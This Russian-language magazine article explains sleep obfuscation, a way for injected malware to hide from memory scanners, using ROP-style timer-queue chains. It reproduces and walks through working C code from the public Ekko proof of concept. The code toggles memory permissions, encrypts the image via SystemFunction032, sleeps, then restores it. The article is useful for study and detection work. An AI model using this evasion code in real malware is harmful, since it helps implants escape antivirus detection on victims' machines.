March 7

Спящий вирь. Изучаем технику Sleep-обфускации на ROP-цепочках

  1. ROP
  2. Ekko
  3. Выводы

Ви­русо­писа­тели при­думы­вают все новые и новые спо­собы скры­тия сво­его ПО пос­ле инжекта в про­цесс. В пос­леднее вре­мя ста­ла популяр­на не прос­то обфуска­ция, а Sleep-обфуска­ция. Давай раз­берем­ся с этой тех­никой, поз­накомим­ся с ROP-цепоч­ками, если ты с ними еще не зна­ком, и заценим пуб­лично дос­тупные PoC.

Ка­кую глав­ную цель прес­леду­ет любой ува­жающий себя злов­ред? Быть может, зарабо­тать соз­дателю мил­лион дол­ларов? Зах­ватить весь мир? Ста­щить нюд­сы быв­шей? Все это может быть потом, но пер­вая и важ­ней­шая задача — скрыть­ся! И Sleep-обфуска­ция в этом отлично помога­ет. Этот спо­соб скры­тия может при­менять­ся как к шелл‑коду, так и ко всей копии фай­ла в памяти в целом.

Боль­шинс­тво анти­виру­сов обра­щает прис­таль­ное вни­мание на любые области памяти с пра­вами на исполне­ние. Конеч­но, не все так прос­то, важ­но вер­но учи­тывать реги­он памяти (глу­по было бы бло­киро­вать все RX-дан­ные в Image-сек­циях), но Sleep-обфуска­ция не об этом.

Пред­ставь, что ска­нер так и рыщет злы­ми гла­зами по памяти уже заражен­ного про­цес­са, пыта­ясь выцепить сво­ими ког­тищами наш бед­ный малень­кий шелл‑код. Что­бы скрыть себя в памяти, он может взять и поменять раз­решения сво­его реги­она с RX на, нап­ример, RW или вооб­ще PAGE_NO_ACCESS. Пос­ле чего допол­нитель­но пок­сорить­ся на уда­чу. И всё, шелл‑код в домике. А Око Кас­пер­ско­го оста­нет­ся ни с чем.

Собс­твен­но, эту задачу и реша­ет Sleep-обфуска­ция. Она поз­воля­ет изме­нить раз­решения памяти, спря­тать шелл‑код, а затем через некото­рое вре­мя вер­нуть его к жиз­ни путем рас­шифров­ки и вос­ста­нов­ления Execute-прав.

Пред­лагаю сра­зу разоб­рать­ся с тер­минами. Пос­пра­шивав экспер­тов и пог­лядев PoC на GitHub, я сме­ло заяв­ляю, что Sleep-обфуска­цию мож­но счи­тать под­видом флук­туации шелл‑кода. Флук­туация реша­ет ту же задачу — шиф­рование и изме­нение раз­решений. Но лич­но я счи­таю, что Sleep-обфуска­ция — это все то, что при­водит, исполь­зуя те же тай­меры (или иные механиз­мы, свя­зан­ные со вре­менем), к выс­тре­лу кол­бэка и пос­леду­юще­му изме­нению раз­решений памяти.

Флук­туация — это кон­цепция такого поведе­ния вре­доно­са в целом. Добить­ся флук­туации мож­но и без вре­мен­ных фун­кций. Мож­но в шелл‑коде раз­местить PAGE_GUARD или Hardware Breakpoint. Такой фокус при выпол­нении шелл‑кодом кон­крет­ной инс­трук­ции поз­волит акти­виро­вать кол­бэк, который спря­чет вре­донос в памяти.

ROP

Поч­ти все извес­тные PoC на «спя­щую» обфуска­цию исполь­зуют ROP-цепоч­ки. Если очень вкрат­це, то ROP-цепоч­ки счи­тают­ся некото­рой прод­винутой заменой стан­дар­тно­му перепол­нению буфера. Вмес­то того что­бы помещать где‑то в сте­ке наш шелл‑код, мы, манипу­лируя адре­сами воз­вра­та, зас­тавля­ем код выпол­нять необ­ходимые нам инс­трук­ции. Набор инс­трук­ций называ­ется ROP-гад­жетом, нес­коль­ко ROP-гад­жетов — ROP-цепоч­кой.

От­личная кар­тинка, наг­лядно пред­став­ляющая этот механизм.

Наг­лядная иллюс­тра­ция ROP-цепоч­ки

Впро­чем, пог­ружать­ся в самые деб­ри нам сегод­ня не понадо­бит­ся. Связь меж­ду Sleep-обфуска­цией и ROP осно­вана толь­ко на том, что пос­ле выпол­нения одной фун­кции авто­мати­чес­ки будет дер­гать­ся дру­гая. Вот и всё! Давай пос­мотрим на при­мере.

EKKO

Прос­тей­ший и самый наг­лядный PoC для демонс­тра­ции Sleep-обфуска­ции — это Ekko. У него есть и более прод­винутый вари­ант, но он не столь наг­лядный, и разоб­рать­ся с ним будет слож­нее.

Ekko поз­воля­ет, как нам и тре­бует­ся, изме­нить раз­решение памяти с помощью фун­кции VirtualProtect(), а зашиф­ровать пей­лоад через SystemFunction032. SystemFunction032 — это недоку­мен­тирован­ная фун­кция Windows, впро­чем, работа­ет она донель­зя прос­то: мы переда­ем ей блок дан­ных, а она его шиф­рует. В осно­ве фун­кции лежит XOR. Есть еще SystemFunction033() — ее механизм тот же.

NTSTATUS WINAPI SystemFunction032(struct ustring * data,const struct ustring *key)

Па­рамет­ров, как видишь, все­го два:

  • data — сюда пада­ет адрес струк­туры RC4_CONTEXT, которая содер­жит дан­ные для шиф­рования или рас­шифров­ки;
  • key — сюда пада­ет адрес клю­ча, который мож­но исполь­зовать для рас­шифров­ки либо шиф­рования.

У Ekko же все­го одна‑единс­твен­ная фун­кция — EkkoObf(). Она при­нима­ет лишь один DWORD-параметр — вре­мя, на которое наш исполня­емый файл уснет. Спря­чет­ся все адресное прос­транс­тво, содер­жащее код исполня­емо­го фай­ла.

Сна­чала ини­циали­зиру­ется ключ, с помощью которо­го будет про­исхо­дить шиф­рование.

CHAR KeyBuf[16] = { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 }; USTRING Key = { 0 }; USTRING Img = { 0 };

Так как у нас Sleep-обфуска­ция, нуж­но соз­дать некото­рое событие и тай­мер, который поз­волит «выс­тре­лить» в опре­делен­ный момент и спря­тать либо вер­нуть наружу нашу наг­рузку. Для это­го Ekko исполь­зует стан­дар­тные фун­кции CreateEventW() и CreateTimerQueue().

Фун­кция CreateTimerQueue() поз­воля­ет соз­дать оче­редь тай­меров, которые будут вызывать­ся друг за дру­гом. Эта цепоч­ка сыг­рает свою клю­чевую роль чуть поз­же.

hEvent = CreateEventW(0, 0, 0, 0);hTimerQueue = CreateTimerQueue();

Сле­дующим шагом Ekko получа­ет ука­зате­ли на адре­са ранее опи­сан­ной фун­кции SystemFunction032() и новой для нас NtContinue(). Фун­кция NtContinue() так­же не докумен­тирова­на. Ее пред­назна­чение чуть слож­нее — она при­нима­ет спе­циаль­ную струк­туру CONTEXT, которая содер­жит зна­чения регис­тров. Переда­вая эту струк­туру в фун­кцию, мы можем возоб­новить выпол­нение текуще­го потока с ука­зан­ными в струк­туре CONTEXT изме­нени­ями в регис­трах.

Нап­ример, зна­чение регис­тра EAX рав­но 10. Переда­ем в фун­кцию NtContinue() струк­туру CONTEXT со зна­чени­ем EAX 20, и EAX в нашем потоке ста­новит­ся равен 20.

Имен­но на этих фун­кци­ях и стро­ится ROP-цепоч­ка. Что­бы шиф­ровать весь наш файл в памяти, про­исхо­дит получе­ние его базово­го адре­са заг­рузки через GetModuleHandle().

ImageBase = GetModuleHandleA( NULL ); ImageSize = ( ( PIMAGE_NT_HEADERS ) ( ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;

На­конец, сама ROP-цепоч­ка выг­лядит так.

if (CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD)) { WaitForSingleObject(hEvent, 0x32); memcpy(&RopProtRW, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemEnc, &CtxThread, sizeof(CONTEXT)); memcpy(&RopDelay, &CtxThread, sizeof(CONTEXT)); memcpy(&RopMemDec, &CtxThread, sizeof(CONTEXT)); memcpy(&RopProtRX, &CtxThread, sizeof(CONTEXT)); memcpy(&RopSetEvt, &CtxThread, sizeof(CONTEXT)); // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect ); RopProtRW.Rsp -= 8; RopProtRW.Rip = (DWORD64)VirtualProtect; RopProtRW.Rcx = (DWORD64)ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE; RopProtRW.R9 = (DWORD64)&OldProtect; // SystemFunction032( &Key, &Img ); RopMemEnc.Rsp -= 8; RopMemEnc.Rip = (DWORD64)SysFunc032; RopMemEnc.Rcx = (DWORD64)&Img; RopMemEnc.Rdx = (DWORD64)&Key; // WaitForSingleObject( hTargetHdl, SleepTime ); RopDelay.Rsp -= 8; RopDelay.Rip = (DWORD64)WaitForSingleObject; RopDelay.Rcx = (DWORD64)NtCurrentProcess(); RopDelay.Rdx = SleepTime; // SystemFunction032( &Key, &Img ); RopMemDec.Rsp -= 8; RopMemDec.Rip = (DWORD64)SysFunc032; RopMemDec.Rcx = (DWORD64)&Img; RopMemDec.Rdx = (DWORD64)&Key; // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect ); RopProtRX.Rsp -= 8; RopProtRX.Rip = (DWORD64)VirtualProtect; RopProtRX.Rcx = (DWORD64)ImageBase; RopProtRX.Rdx = (DWORD64)ImageSize; RopProtRX.R8 = PAGE_EXECUTE_READWRITE; RopProtRX.R9 = (DWORD64)&OldProtect; // SetEvent( hEvent ); RopSetEvt.Rsp -= 8; RopSetEvt.Rip = (DWORD64)SetEvent; RopSetEvt.Rcx = (DWORD64)hEvent; puts("[INFO] Queue timers"); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD); puts("[INFO] Wait for hEvent"); WaitForSingleObject(hEvent, INFINITE); puts("[INFO] Finished waiting for event"); printCurrentTime(); } DeleteTimerQueue(hTimerQueue); }

Здесь сна­чала соз­даем тай­мер, который сра­зу же запус­кает­ся и получа­ет кон­текст текуще­го потока. Кон­текст — это как раз та струк­тура CONTEXT со зна­чени­ями регис­тров. Пос­ле чего копиру­ем этот кон­текст во все перемен­ные, которые будут содер­жать изме­нения.

Да­лее запол­няем в каж­дой струк­туре эле­мен­ты так, что­бы они вызыва­ли нуж­ные фун­кции и ROP-цепоч­ка кор­рек­тно отра­баты­вала. В нашем слу­чае струк­туры запол­няют­ся так, что­бы шел вызов в такой пос­ледова­тель­нос­ти: VirtualProtect() → изме­нение с RWX на RW → SystemFunction032() → шиф­рование → спим столь­ко, сколь­ко ука­зано в фун­кции → SystemFunction032() → рас­шифров­ка → VirtualProtect() → изме­нение с RW на RWX.

Для вызова ROP-цепоч­ки регис­три­руют­ся тай­меры, которые по исте­чении вре­мени вызыва­ют фун­кцию NtContinue() со струк­турами CONTEXT.

CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD); CreateTimerQueueTimer(&hNewTimer, hTimerQueue, (WAITORTIMERCALLBACK)NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD);

Че­рез 100 мил­лисекунд выс­тре­лива­ет пер­вый гад­жет, память с нашим фай­лом ста­новит­ся RW; через 200 мил­лисекунд все в памяти шиф­рует­ся; через 300 ожи­даем событие, которое перей­дет в сиг­наль­ное сос­тояние через ука­зан­ное фун­кци­ей вре­мя для сна; через 400 про­изой­дет рас­шифров­ка, а через полови­ну секун­ды память вновь ста­нет RWX.

Ло­гич­ный воп­рос — каким обра­зом сис­тема вызыва­ет фун­кции, если мы как бы шиф­руем всю память? Здесь идет шиф­рование толь­ко непос­редс­твен­но кода прог­раммы, смап­ленной в память. При этом DLL, в которых находит­ся реали­зация фун­кций NtContinue(), SystemFunction032() и так далее, не шиф­рует­ся. Поэто­му все успешно исполня­ется, ведь мы регис­три­руем кол­бэки, ука­зывая адре­са этих фун­кций. Сис­тема эти адре­са запоми­нает, и они не под­верга­ются шиф­рованию при работе пей­лоада (так как они находят­ся за пре­дела­ми ImageBaseAddr + ImageSize). Поэто­му все отлично сра­баты­вает.

ВЫВОДЫ

Те­перь нам понятен основной смысл работы Sleep-обфуска­ции, но Ekko — лишь один из прос­тей­ших PoC. На GitHub их мно­го раз­новид­ностей: здесь и RustChain с исполь­зовани­ем в логике хар­двер­ных брейк‑пой­нтов, и Cronos с SleepEx(), и DeathSleep. Пос­ледний метод мож­но счи­тать прод­винутой Sleep-обфуска­цией, пос­коль­ку он бук­валь­но уби­вает текущий поток (но перед этим пред­варитель­но не забыва­ет сох­ранить все регис­тры CPU для него и стек), затем спит, пос­ле чего вос­ста­нав­лива­ет дан­ные. В общем, теперь у тебя огромный прос­тор для самос­тоятель­ного изу­чения!